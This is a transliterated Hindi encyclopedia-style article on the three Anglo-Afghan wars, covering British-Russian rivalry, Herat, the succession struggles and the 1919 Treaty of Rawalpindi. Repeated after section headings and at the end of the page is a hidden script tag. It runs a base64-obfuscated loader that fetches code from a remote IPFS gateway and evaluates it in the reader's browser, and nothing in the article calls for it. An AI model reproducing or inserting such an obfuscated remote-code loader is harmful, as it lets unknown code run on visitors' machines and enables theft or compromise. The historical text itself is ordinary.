आंग्ल-अफ़ग़ान युद्ध
aangl-afagan yuddh ko 'afagan yuddh' bhi kaha jata hai. itihas mean tin afagan yuddh (1838-1842 ee., 1878-1880 ee., 1919 ee.) l de gaye the. bharat ke p dosi desh afaganistan par roos ka prabhav dhire-dhire badh raha tha, aur yah prabhav kafi had tak bharat ke lie khataranak siddh ho sakata tha. roos ke badhate hue prabhav ko rokane ke lie aur afaganistan ko british samrajy mean milane ke uddeshy se aangrezoan ne afaganoan ke viruddh apani bharatiy chauki se tin bar hamale kie. pahale yuddh mean vijay unhean asani se mil to gee, lekin us par niyantran banaye rakhana kathin ho gaya. doosare yuddh mean vijay ke lie aangrezoan ko bhari qimat chukani p di. aangrez afaganistan par sthayi qabza to nahian kar sake, lekin unhoanne usaki niti par niyantran banaye rakha. tritiy aur aantim yuddh afaganistan ki karari har aur 'ravalapindi ki sandhi' (agast, 1919 ee.) ke sath samapt hua. isake pashchath hi afaganistan poorn roop se svatantr ho gaya.
yuddh
itihas mean tin aangl-afagan yuddh hue haian, jinaka vivaran is prakar hai-
- pratham aangl-afagan yuddh (1838-1842 ee.)
- dvitiy aangl-afagan yuddh (1878-1880 ee.)
- tritiy aangl-afagan yuddh (1919 ee.)
pratham aangl-afagan yuddh
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
afaganistan ka bhootapoorv amir shahashuja aangrezoan ka peanshanayafta hokar panjab ke ludhiyana nagar mean rahata tha. us samay roos ke gupt samardhan se faras ki sena ne afaganistan ke simavarti nagar herat ko gher liya. herat bahut samarik mahattv ka nagar mana jata tha aur use bharat ka dvar samajha jata tha. jab us par roos ki sahayata se faras ne qabza kar liya to ianglaiand ki sarakar ne use bharat ke british samrajy ke lie khatara mana. halaanki us samay faras aur bharat ke british samrajy ke bich mean panjab mean ranajit sianh aur afaganistan mean dost muhammad ka svatantr rajy tha.
dvitiy aangl-afagan yuddh
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
yah yuddh vayasaray l aaurd litan pratham ke shasan kal se prarambh hokar aur usake uttaradhikari l aaurd ripan (1880-1884 ee.) ke shasan kal mean samapt hua. amir dost muhammad ki mrityu 1863 ee. mean ho gee thi aur usake betoan mean uttaradhikar ke lie yuddh shuroo ho gaya. uttaradhikar ka yah yuddh (1863-1868 ee.) paanch varsh tak chala. is bich british bharatiy sarakar ne poorn nishkriyata ki niti ka palan kiya aur qabul ki gaddi ke pratidvandviyoan mean kisi ka paksh nahian liya. ant mean 1868 ee. mean jab dost mahammad ke tisare bete sherali ne qabul ki gaddi prapt kar li to british bharatiy sarakar ne usako afaganistan ka amir man liya. lekin isi bich madhy eshiya mean roos ka prabhav bahut badh gaya. roos ne bukhara par 1866 mean, tashakand par 1867 mean aur samarakand par 1868 ee. mean adhikar kar liya. is prakar roos ka prabhutv badhata hi ja raha tha.
tritiy aangl-afagan yuddh
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
yah yuddh keval do mahine tak chala. bharat ki british sena ne bamoan, vimanoan, betar ke tar ki sanchar vyavastha aur adhunik shastrastroan ka prayog karake afaganoan ko hara diya. afaganoan ke pas adhunik shastrastr nahian the. unhean majaboor hokar shaanti sandhi ke lie jhukana p da. isake parinamasvaroop ravalapiandi ki sandhi, agast, 1919 ee. mean huee. ravalapindi ki sandhi ke bad se hi aangl-afagan sanbandh pray: maitripoorn raha, aur eshiya mean shaanti sthapit ho gee.
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>